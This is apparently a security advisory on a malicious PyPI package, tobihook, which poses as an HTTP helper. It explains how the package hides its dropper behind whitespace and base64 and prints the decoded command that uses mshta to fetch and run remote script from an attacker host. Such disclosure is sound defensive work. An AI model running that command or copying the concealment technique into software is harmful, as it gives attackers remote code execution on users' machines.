🛡️ MAL-2026-5995 — tobihook

Malicious code in tobihook (PyPI)

Source: amazon-inspector

The package masquerades as an HTTP helper (functions named post/get/fetch, module comment '# request/__init__.py', and an unused requests dependency) but each of those functions base64-decodes the string 'cmd /c mshta https://quitlag.com' and launches it via subprocess.Popen with CREATE_NO_WINDOW on Windows. mshta.exe then fetches and executes attacker-controlled HTA/JavaScript from quitlag.com on the caller's machine with no visible window. The malicious code is concealed in tobihook/post.py behind roughly 400 lines of leading whitespace and base64 obfuscation, and the dropper is reachable from the package's documented top-level API (tobihook/__init__.py re-exports post). Any developer who installs tobihook and calls its advertised post()/get()/fetch() triggers remote code execution on a Windows host.

Code contains lightly obfuscated commands executing remote scripts using mshta utility. The code does not contain any different functionality and the target URL is already flagged as potentially dangerous.
